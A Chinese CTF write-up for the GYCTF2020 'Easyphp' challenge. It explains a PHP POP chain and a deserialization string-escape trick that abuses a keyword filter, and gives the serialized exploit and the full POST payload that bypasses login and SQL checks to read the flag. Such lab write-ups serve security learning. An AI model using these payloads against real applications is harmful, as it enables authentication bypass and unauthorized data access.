0
点赞
收藏
分享

微信扫一扫

[GYCTF2020]Easyphp

独西楼Q 2022-04-06 阅读 28
phpweb安全
知识点:反序列化字符串逃逸,pop链构造

反序列化字符串逃逸

此知识点可以结合题目来看。
https://blog.csdn.net/shinygod/article/details/123724105

分析

/www.zip拿源码

update.php中可以拿到flag,条件$_SESSION['login']===1在lib.php中

<?php
require_once('lib.php');
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}
?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        //反序列化的是getNewinfo的返回值
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
    //调用类中不存在的方法时会调用
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);//执行sql语句。
        $result->bind_param('s', $this->name);
        //绑定参数,第一个参数,表示第一个字段类型string,是要插入字段的类型
        $result->execute();//执行准备的语句
        $result->bind_result($idResult, $passwordResult);
        //把查寻的id集合绑定到idresult,密码集绑定到变量passwordResult,查到返回true
        $result->fetch();//取值
        $result->close();//关连接
        if ($this->token=='admin') {
            //通过反序列化控制token等于admin就可以了
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        //当密码
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

要想$_SESSION['login']===1,有两种做法:

 1. token==admin
 2. 传进去的密码MD5加密后和他查到的密码一样

代码中它的查询语句是这样:
在这里插入图片描述
且这个查询语句是可以控制的,等会在说

select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
//c4ca4238a0b923820dcc509a6f75849b为1的MD5加密

下一步就是要想办法使得md5($this->password)!==$passwordResult,这里就要用到反序列化来实现了。

pop链

UpdateHelper中有__destruct,且会echo输出,那么就可以触发User类中的__toString
在这里插入图片描述
User类中的__toString,用nickname调用Info类中的__call,且$age变量作为参数。这样我们只需要将$nicknames实例化为Info类的对象,从而可以调用Info::__call方法,且$age中的值会作为参数传入。
在这里插入图片描述
Info类的__call$CtrCase变量调用dbCtrl类中的login()方法,且参数就是上一步通过User.age的值传进来的,所以参数sql语句是我们所控制的,也就达到了我们md5($this->password)!==$passwordResult
在这里插入图片描述
最后我们只需要对dbCtrl类里的一些变量赋值成我们需要的值即可。

pop链子:

<?php
class User
{
    public $age = null;
    public $nickname = null;
    public function __construct()
    {
        $this->age = 'select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
        //password这个字段名字,在查的时候会变为c4ca4238a0b923820dcc509a6f75849b
        $this->nickname = new Info();
    }
}
class Info
{
    public $CtrlCase;
    public function __construct()
    {
        $this->CtrlCase = new dbCtrl();
    }
}
class UpdateHelper
{
    public $sql;
    public function __construct()
    {
        $this->sql = new User();
    }
}
class dbCtrl
{
    public $name = "admin";
    public $password = "1";
}
$o = new UpdateHelper;
echo serialize($o);
/*
UpdateHelper::__destruct()	$sql=new User
User::__toString   $nickname=new Info
Info::__call	$CtrlCase=new dbCtrl
dbCtrl::login($sql)		$实际上是从User中的$age
*/
?>

序列化字符串

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

接下来就是要看在反序列化的地方了。
在这里插入图片描述
可以看到反序列化的是getNewinfo的返回值。

这个函数的返回值是一个先序列化再经过safe()函数处理的Info类对象。

所以最终能够反序列化的不是我们直接传入的字符串,而是用我们传入的值实例化一个Info类的对象,然后对这个对象进行序列化,再对这个序列化结果进行safe() 处理,最后得到的值再进行反序列化。
在这里插入图片描述
safe()函数,将长度小于6的字符串直接替换成了长度为6的hacker,造成了反序列化字符串自增逃逸。
在这里插入图片描述
所以要反序列化我们的payload,就要控制Info类对象的序列化串,例如当age=20,nickname=succ3时,序列化的样子如下:

O:4:"Info":3:{s:3:"age";s:2:"20";s:8:"nickname";s:5:"succ3";s:8:"CtrlCase";N;}

若在nickname参数处逃逸,逃逸前:把从succ3后面的所有都重写了一下,这边会在safe函数替换后运行成功。(长度:263)

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

且safe会把union替换为hacker,也就是说五个字符替换为六个。我们构造263个union后,全部替换为hacker后会多出263个字符,多出来的空间会把我们构造的payload包含进去。

最后的payload

最后在update.php处post方式上传。
因为我们利用的点就在update处,以及衍生。

在这里插入图片描述
在这里插入图片描述

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

最后登录username=admin密码随便
因为当两个密码相等,则把name也就是admin赋给token
在这里插入图片描述
所以当我们在登录时这一条就成功过了。
在这里插入图片描述

在这里插入图片描述

参考:

https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2

举报

相关推荐

0 条评论